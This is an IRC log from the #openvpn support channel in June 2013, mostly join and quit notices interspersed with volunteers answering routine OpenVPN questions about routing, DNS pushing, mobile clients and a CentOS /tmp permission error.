02:43 -!- sitaktif [~sitaktif@kollok.org] has quit [Quit: The Screen is dead, long live the screen!]
02:44 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
02:46 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
02:46 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
02:46 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:47 <@krzee> kolaman, nope
02:47 <@krzee> AS, but as you said, not free
02:47 <@krzee> some exist, never heard any of them called good
02:51 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 245 seconds]
03:01 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
03:01 -!- mode/#openvpn [+o mattock_afk] by ChanServ
03:01 -!- mattock_afk is now known as mattock
03:03 -!- Feigrim [~Feigr@81.146.28.46.static.addr.valvea.se] has joined #openvpn
03:04 < Feigrim> Hello, a client of mine is having problems connecting to the VPN, he can access the website to login fine, but he gets "Could not establish connection DNS lookup failed" even though he can obviously resolve the login page. Also pinging the URL gives the correct IP address back
03:04 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-vulmribxdwlqcbnp] has joined #openvpn
03:04 < Feigrim> and he apparently gets the same error using the OpenVPN client
03:15 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
03:22 < pppingme> Feigrim whats the host name in the config file?
03:37 < Feigrim> same as the hostname of the server I assume, openvpnas
03:53 < pppingme> !as
03:53 <@vpnHelper> "as" is (#1) please go to #OpenVPN-AS for help with Access-Server or (#2) AS is a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the Community openvpn, which we support here.
04:02 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
04:06 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Ping timeout: 276 seconds]
04:21 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
04:45 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:07 -!- dazo_afk is now known as dazo
05:31 -!- vraa__ [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
05:36 -!- Denial [Denial@90.205.133.229] has joined #openvpn
05:37 -!- rv [~rv@unaffiliated/rv] has joined #openvpn
05:37 < rv> hi
05:38 < rv> is there a command wich i can use to check to which remote i'm connected as a client?
05:39 < rv> i have two remotes in config and i want to know to which im connected right now
05:45 < rv> any help?
05:45 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 264 seconds]
05:47 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
05:47 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 248 seconds]
05:48 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
05:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:49 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
06:24 -!- Feigrim [~Feigr@81.146.28.46.static.addr.valvea.se] has left #openvpn []
06:31 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has joined #openvpn
06:32 -!- dokma [~dokma@93-139-112-80.adsl.net.t-com.hr] has joined #openvpn
06:33 < dokma> should openvpn --status give me status of the client? I tried it in Debian Wheezy and that option does not exist
06:34 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:34 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
06:40 -!- Mava [~Mava@ip-45-201.dhcp.opintanner.fi] has quit [Read error: Operation timed out]
07:03 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
07:04 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
07:14 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has quit [Ping timeout: 245 seconds]
07:44 -!- kolaman [~imran@202.142.173.22] has quit [Ping timeout: 255 seconds]
07:45 < Moonlightning> Where does the Android app store its configuration files?
07:48 <@plaisthos> Moonlightning: which one?
07:49 <@plaisthos> For ics-openvpn there is a FAQ entry about that
07:49 <@plaisthos> !android
07:49 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
07:49 < Moonlightning> There's more than one?
07:49 < Moonlightning> Hang on. x.x
07:49 -!- Mava [~Mava@ip-45-201.dhcp.opintanner.fi] has joined #openvpn
07:49 <@plaisthos> Moonlightning: 5-6 ;)
07:49 < Moonlightning> >.<
07:51 < Moonlightning> https://play.google.com/store/apps/details?id=net.openvpn.openvpn
07:51 <@vpnHelper> Title: OpenVPN Connect - Android Apps on Google Play (at play.google.com)
07:54 < Moonlightning> plaisthos, ping
07:57 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:57 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 268 seconds]
08:06 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has quit [Ping timeout: 276 seconds]
08:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:18 -!- mastercode [~holth@79.161.128.120] has joined #openvpn
08:18 < mastercode> im trying to connecth two vpn networks. gateway 1 local subnet 192.168.10.21/24 and vpn have 10.100.0.1/24 and gateway 2 has ip 10.0.0.1/24 and vpn 10.100.0.14/24. now when i try to add this to gateway 1. route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.100.0.14 i get this error SIOCADDRT: Network is unreachable any ides ?
08:18 < mastercode> here is a map http://tinypic.com/r/2wfjxow/5
08:18 <@vpnHelper> Title: Image - TinyPic - Free Image Hosting, Photo Sharing & Video Hosting (at tinypic.com)
08:23 -!- dokma [~dokma@93-139-112-80.adsl.net.t-com.hr] has left #openvpn ["Leaving"]
08:25 < Moonlightning> 10.100.0.1/24 and 10.100.0.14/24 are the same subnet.
08:25 < Moonlightning> That might be (part of) your problem.
08:26 < Moonlightning> Though probably not. If you're trying to connect the two, though, you will run into problems with it later :)
08:26 < Moonlightning> I think what you're trying to do is 10.100.1.0/24 and 10.100.14.0/24?
08:28 <@plaisthos> Moonlightning: no idea about that client
08:28 < Moonlightning> plaisthos: is there online documentation somewhere?
08:28 <@plaisthos> Moonlightning: no idea
08:28 < mastercode> Moonlightning: ?
08:28 <@plaisthos> I am author the the "OpenVPN for Android" client
08:29 < Moonlightning> mastercode: 10.100.0.<anything>/24 is the same network
08:29 <@plaisthos> I have no idea about the OpenVPN Inc Corp
08:29 < Moonlightning> You're going to want to change that on at least one of the VPNs; else you'll run into problems connecting them
08:31 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 264 seconds]
08:40 <@plaisthos> I guess that they do it similar to my client
08:40 <@plaisthos> store configuration in the app data storage
08:40 < Moonlightning> I might be goign about this wrong though xD
08:41 < Moonlightning> I've been sticking certs and keys in the openvpn config dir and then using relative paths in the config file
08:41 < Moonlightning> It worked on Debian, Ubuntu, and OS X, and then with Android I ran into the problem that I have no idea where the config dir /is./ XD
08:44 < Moonlightning> …app data storage. Where is that, for your app?
08:51 <@plaisthos> Moonlightning: ah
08:51 <@plaisthos> this might help
08:51 <@plaisthos> !inline
08:51 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
08:52 < Moonlightning> Ooooh.
08:53 -!- brad [~brad@78.129.242.122] has quit [Ping timeout: 240 seconds]
08:53 < Moonlightning> Thanks! ^^
08:54 -!- mastercode [~holth@79.161.128.120] has quit [Quit: Lost terminal]
09:00 -!- ichtys [~midacts@207.59.77.254] has joined #openvpn
09:01 -!- MorgyN_ [~mig@island.morgyn.org] has joined #openvpn
09:02 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
09:11 -!- Netsplit *.net <-> *.split quits: midacts, pwrcycle, DrCode, MorgyN
09:12 -!- jd [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
09:12 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Write error: Connection reset by peer]
09:13 -!- jd is now known as Guest50368
09:14 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
09:16 -!- Netsplit over, joins: DrCode, pwrcycle
09:18 -!- ichtys [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- IRC with a difference]
09:18 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
09:28 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:30 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
09:31 -!- Netsplit *.net <-> *.split quits: pwrcycle, DrCode
09:31 -!- mastercode [~holth@120.79-161-128.customer.lyse.net] has joined #openvpn
09:32 < mastercode> my client can pin the server subnet fine, but the server cant ping the client subnet. how can i fix that ?
09:33 < mastercode> http://blog.wains.be/2008/07/15/a-vpn-for-remote-users-with-openvpn/
09:33 <@vpnHelper> Title: A VPN for remote users with OpenVPN | Sébastien Wains (at blog.wains.be)
09:34 < mastercode> that is my currecnt setup
09:35 -!- Netsplit over, joins: DrCode, pwrcycle
09:35 -!- rv [~rv@unaffiliated/rv] has quit [Quit: Wychodzi]
09:39 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
09:41 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
09:43 -!- masterco1e [~holth@120.79-161-128.customer.lyse.net] has joined #openvpn
09:44 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
09:44 -!- abyss_ [~abyss@i-free.pl] has joined #openvpn
09:46 -!- erry [erry@freenode/staff/erry] has quit [Killed (rajaniemi.freenode.net (Nickname regained by services))]
09:46 -!- erry_ is now known as erry
09:47 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has joined #openvpn
09:49 -!- Netsplit *.net <-> *.split quits: mastercode, Neal_, abyss, @krzee, Drone4four, Guest50368, Alina-malina
09:49 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:50 -!- Netsplit over, joins: Alina-malina
09:50 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-ysianoonjqdvgagm] has quit [Ping timeout: 264 seconds]
09:50 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 264 seconds]
09:50 -!- CEnnis91_ [uid3543@gateway/web/irccloud.com/x-yzkvfkpppcjqqqvv] has joined #openvpn
09:50 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Write error: Connection reset by peer]
09:50 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 264 seconds]
09:51 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
09:52 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:52 -!- altker128 [~altker128@c-24-16-15-217.hsd1.wa.comcast.net] has quit [Read error: Connection reset by peer]
09:52 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:53 -!- altker128 [~altker128@c-24-16-15-217.hsd1.wa.comcast.net] has joined #openvpn
09:53 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 276 seconds]
09:54 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
09:55 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
09:55 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
09:58 -!- CEnnis91_ is now known as CEnnis91
09:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:03 -!- brad [~brad@78.129.242.122] has joined #openvpn
10:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
10:12 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
10:14 -!- masterco1e [~holth@120.79-161-128.customer.lyse.net] has quit [Quit: Lost terminal]
10:16 -!- raidz_away is now known as raidz
10:26 -!- Neal_ [~neal@felix.ineal.me] has joined #openvpn
10:27 -!- lirime [~liriel@aphrodite.feralhosting.com] has joined #openvpn
10:32 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:40 -!- ronnocol [~lance@mail.ronnoco.net] has quit [Ping timeout: 256 seconds]
10:40 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 256 seconds]
10:40 -!- joshie [~josh@75-150-76-129-NewEngland.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
10:40 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 256 seconds]
10:40 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 256 seconds]
10:40 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 256 seconds]
10:40 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 256 seconds]
--- Log closed Tue Jun 25 10:40:38 2013
--- Log opened Tue Jun 25 10:40:56 2013
10:40 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
10:40 -!- Irssi: #openvpn: Total of 202 nicks [7 ops, 0 halfops, 1 voices, 194 normal]
10:41 -!- Irssi: Join to #openvpn was synced in 39 secs
10:45 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
10:46 -!- Netsplit *.net <-> *.split quits: kisom, Fiouz, Zenum, ronnocol, nutron, pekster, jave_, Sjors, dvl, dxtr,  (+9 more, use /NETSPLIT to show all of them)
10:46 -!- raidz_ is now known as raidz
10:46 -!- raidz [~raidz@raidz.im] has quit [Changing host]
10:46 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
10:46 -!- mode/#openvpn [+o raidz] by ChanServ
10:51 -!- Devastator [~devas@177.99.154.82] has joined #openvpn
10:51 -!- Carbon_Monoxide [~cmonxide@058176022144.ctinets.com] has quit [Quit: Leaving]
10:53 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
10:57 < nikkiheat> anyone around?
10:58 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-cdjvobsazqrpsron] has quit [Ping timeout: 276 seconds]
10:59 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-kkzgxculemdyxpfl] has quit [Ping timeout: 245 seconds]
10:59 < nikkiheat> I have set up an openvpn server on ubuntu, and am trying to connect from windows 7. my server is in a private ip subnet and I can ping its local IP but nothing else on the subnet.
10:59 < nikkiheat> the connection is over wan
11:12 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
11:12 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
11:12 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
11:12 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
11:12 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
11:12 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
11:12 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
11:12 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
11:12 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
11:12 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
11:12 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
11:12 -!- ServerMode/#openvpn [+o plaisthos] by pratchett.freenode.net
11:16 -!- lmm__ [uid6417@gateway/web/irccloud.com/x-lwaljvyxcutayarh] has joined #openvpn
11:17 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
11:17 -!- qwertyoruiop_ [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
11:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
11:18 -!- Martin`_ [martin@shell.ipv6.octocore.net] has joined #openvpn
11:18 -!- erry [erry@freenode/staff/erry] has quit [Killed (banks.freenode.net (Nickname regained by services))]
11:18 -!- erry_ is now known as erry
11:18 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Disconnected by services]
11:19 -!- WinstonSmith_ [~WinstonSm@a95-95-35-108.cpe.netcabo.pt] has joined #openvpn
11:19 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
11:19 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-vulmribxdwlqcbnp] has quit [Ping timeout: 264 seconds]
11:19 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
11:19 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 264 seconds]
11:19 -!- qwertyoruiop_ is now known as qwertyoruiop
11:19 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Ping timeout: 264 seconds]
11:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
11:19 -!- batrick [batrick@nmap/developer/batrick] has quit [Ping timeout: 264 seconds]
11:19 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 264 seconds]
11:19 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Ping timeout: 264 seconds]
11:19 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
11:19 -!- WormDude [~wormfood@210.21.240.227] has quit [Ping timeout: 264 seconds]
11:19 -!- C-S-B [~C-S-B@host81-159-157-214.range81-159.btcentralplus.com] has quit [Ping timeout: 264 seconds]
11:20 -!- Martin`_ is now known as Martin`
11:20 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
11:20 -!- mode/#openvpn [+o vpnHelper] by ChanServ
11:20 -!- WormDude [~wormfood@58.253.216.128] has joined #openvpn
11:20 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
11:20 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
11:20 -!- mode/#openvpn [+o dazo] by ChanServ
11:21 -!- lmm__ is now known as lmm_
11:21 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
11:22 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
11:24 -!- WormDude is now known as WormFood
11:24 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
11:24 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
11:28 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
11:28 < nikkiheat> anyone?
11:33 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
11:35 < EugeneKay> Nobody.
11:35 < EugeneKay> !rocks
11:35 <@vpnHelper> "rocks" is Nobody around but us rocks! Please go ahead and ask your question, and be patient - somebody helpful will eventually perk up.
11:36 < nikkiheat> lol
11:46 <@dazo> nikkiheat: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#Usingrouting
11:46 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
11:46  * dazo need to run now anyway
11:46 -!- dazo is now known as dazo_afk
11:55 -!- ade_b [~Ade@92.40.254.209.threembb.co.uk] has joined #openvpn
11:55 -!- ade_b [~Ade@92.40.254.209.threembb.co.uk] has quit [Changing host]
11:55 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:02 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
12:04 < Rallias> So... I've got an OpenVPN config that wants to take over the default gateway by declaring itself the route for 0.0.0.0/1 and 128.0.0.0/1 but I just want it to declare it for a /22 and a /24... how would I define that in the client.conf file?
12:12 -!- nikkiheat2 [~nikkiheat@133.244.sfcn.org] has joined #openvpn
12:14 -!- MariusIT2 [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
12:17 -!- Devastator- [~devas@177.99.154.82] has joined #openvpn
12:17 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
12:17 -!- dimm0k_ [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has joined #openvpn
12:17 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Disconnected by services]
12:18 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
12:18 -!- s00ner [s00ner@alpha.doublehack.org] has left #openvpn ["later bitches"]
12:18 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
12:19 -!- erry [erry@freenode/staff/erry] has quit [Killed (leguin.freenode.net (Nickname regained by services))]
12:19 -!- erry_ is now known as erry
12:20 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has joined #openvpn
12:21 -!- Neal|ZNC [~neal@felix.ineal.me] has joined #openvpn
12:21 -!- Netsplit *.net <-> *.split quits: ade_b, WormFood, pa, Moonlightning, nutron, dimm0k, Neal_, kisom_, lirime, nikkiheat,  (+2 more, use /NETSPLIT to show all of them)
12:22 < EugeneKay> !route-nopull
12:22 <@vpnHelper> "route-nopull" is If you want to accept pushed options from the server but not apply the routes (including --redirect-gateway) you can use --route-nopull to ignore all pushed routes
12:23 < EugeneKay> Then use "route" directives in your client config as normal
12:23 -!- Netsplit over, joins: lirime
12:24 < Rallias> thanks.
12:25 -!- MorgyN_ is now known as MorgyN
12:26 -!- erry [erry@freenode/staff/erry] has quit [Quit: Segmentation fault]
12:26 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
12:28 -!- WormFood [~wormfood@58.253.216.128] has joined #openvpn
12:28 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
12:29 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
12:30 -!- erry_ is now known as erry
12:30 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
12:30 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
12:30 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:30 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
12:36 -!- Devastator- [~devas@177.99.154.82] has quit [Changing host]
12:36 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
12:36 -!- Devastator- is now known as Devastator
12:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:46 -!- Neal|ZNC is now known as Neal_
12:48 -!- mapu [~mklatsky@c-174-63-40-75.hsd1.vt.comcast.net] has joined #openvpn
12:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:55 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-gddykcmugqfcqqnb] has joined #openvpn
12:58 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-vvakendrstlbrciq] has joined #openvpn
13:03 -!- landono_ [~landono@199-58-199-98.acedc.net] has quit [Read error: Operation timed out]
13:04 -!- dballester [~dballeste@139.49.17.109.rev.sfr.net] has joined #openvpn
13:05 -!- landono [~landono@199-58-199-98.acedc.net] has joined #openvpn
13:07 < dballester> hi to all, I am trying to find if we could add a dns option in the ccd file. My idea is to be able to change the dns ( resolv.conf ) only for some clients.
13:07 < dballester> someting like "push-dns X.X.X.X" in the ccd file :)
13:07 < dballester> something
13:08 < dballester> i googled with no luck
13:12 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Read error: Connection reset by peer]
13:13 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
13:13 < pekster> dballester: It works the same way in the ccd file as it does in the main config
13:13 < pekster> !pushdns
13:13 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
13:13 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
13:16 < mapu> good afternoon. I am looking to create a vpn network- multiple AWS EC2 instances on the vpn network, with several developers on their laptops able to access the was instances, but not able to see each other. This may be a simple architecture- but I am not finding a good doc on how to set this up.
13:20 < pekster> mapu: Access like that would be controlled through a firewall on the VPN server; just set up rules that disallow traffic between systems you don't want
13:21 < pekster> AWS also offers some "clustering" options that create a virtual backend network, so you could just use a single host in there as the VPN server and not need every EC2 node on the VPN directly
13:21 < mapu> Yeah- we are for now avoiding was vpcs
13:22 < mapu> but firewlling- that makes sense
13:22 < mapu> Now- and I might be misunderstanding- does each ec2 instance need to be set up as an open vpn client?
13:22 < pekster> Right, hence my suggestion to put them on a backend LAN
13:24 < mapu> if not mistaken- that is VPC?
13:25 < mapu> otherwise I have no control of setting up a LAN in EC2
13:25 < pekster> WHy avoid a service that's free?
13:26 < pekster> Well, free as long as you're already paying for the other usages AWS incurs
13:26 < mapu> We have a number of instances that are not in VPCs
13:26 < mapu> and the business requirement is that we use openvpn for now
13:27 < mapu> so that is my specific requirement
13:27 < pekster> Then you can do that too
13:28 < mapu> right. so - each system would be configured as an opinion client, correct?
13:28 < pekster> Right
13:29 < pekster> You end up putting everything together in the same virtual network; use a firewall on the VPN server to set up any high-level rules about what can go where
13:29 < mapu> Ok. That's what I surmised- confirms I wasn't missing something obviously easier (other than a VPC of course :) )
13:29 < mapu> thanks
13:30 < mapu> the fun part I think will be bridging 2 VPN servers at some point
13:30 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has joined #openvpn
13:30 < pekster> Use routing, not bridging (unless that's what you meant)
13:32 < mapu> Yes- correct.
13:44 -!- hsn [~majitel@205.83.broadband7.iol.cz] has joined #openvpn
13:45 < hsn> has openvpn other transport then UDP?
13:45 < hsn> i would like to use SOCKS proxy
13:45 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 245 seconds]
13:47 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:47 -!- jmartinez [~jmartinez@unaffiliated/jmartinez] has joined #openvpn
13:48 < jmartinez> hi
13:48 < jmartinez> Has anybody OpenVPN Connect for iOS and CAN to route all traffic through the tunnel?
13:52 -!- jmartinez [~jmartinez@unaffiliated/jmartinez] has quit [Read error: Connection reset by peer]
13:55 -!- You're now known as ecrist
13:55 -!- mode/#openvpn [+o ecrist] by ChanServ
13:58 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-ymxekqikhxycaojv] has joined #openvpn
13:59 < oO0Oo> Hi; I'm trying to start OpenVPN on centos 5.8 but it fails; in log i'm getting "Options error: Temporary directory (--tmp-dir) fails with '/tmp': Permission denied"
14:00 < oO0Oo> permission of /tmp is 777
14:01 < oO0Oo> What should i do?
14:01 -!- jmartinez [~jmartinez@46.234.149.43] has joined #openvpn
14:01 -!- jmartinez [~jmartinez@46.234.149.43] has quit [Changing host]
14:01 -!- jmartinez [~jmartinez@unaffiliated/jmartinez] has joined #openvpn
14:04 < pekster> Might be an SELinux issue
14:04 < mapu> Also check to see if executables are not allowed on the /tmp directory.
14:05 -!- EugeneKay [eugene@badcryp.to] has quit [Quit: ZNC - http://znc.sourceforge.net]
14:06 < oO0Oo> mapu: i did "chmod -x /tmp/" but again i'm getting the same error!
14:06 < mapu> see if there is a noexec option in your /etc/fstab file - Rackpsace used to set that
14:07 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
14:07 < oO0Oo> mapu: i dont have tmp in my fstab
14:08 < mapu> ok
14:08 < mapu> try creating a simple script in /tmp and try to run it
14:08 < mapu> see if you are able to do that
14:08 < pekster> OpenVPN won't need executables or scripts in the --tmp-dir
14:09 < mapu> Ok- so then something up with the ownership or perms
14:11 < mapu> and not re: exec
14:11 < oO0Oo> mapu: I tried that; i'm getting permission denied (cant run it without +x perm but with +x it executes)
14:13 < pekster> check_file_access (CHKACC_FILE, options->tmp_dir, R_OK|W_OK|X_OK, "Temporary directory (--tmp-dir)");
14:14 < pekster> So it is looking for read, write, and execute (+x is necessary on Unix-alikes for directory traversal)
14:14 < pekster> Did you follow up on my first suggestion?
14:14 < pekster> Seeing as you're using CentOS, I'm betting it's a good bet; I'm a bit surprised you didn't consider it
14:15 < oO0Oo> pekster: i'm new with CentOS and this is a VPS!
14:15 < mapu> oO0Oo: second on pekster's suggestion
14:15 < pekster> I mean followed up on the suggestgion *I* gave you earlier
14:15 < pekster> You might need to scroll back to find it; ignoring it would be ill-advised
14:17 -!- MsToxic [~MsToxic@ool-457d12c0.dyn.optonline.net] has joined #openvpn
14:17 < oO0Oo> pekster: so how should I check/fix the SELinux problem?! ;)
14:18 < pekster> Google, official CentOS docs, or a channel specific to the distro you're using?
14:18 < oO0Oo> pekster: OK; thanks
14:18 < pekster> That, or learn to use SELinux properly if you intend to be using it
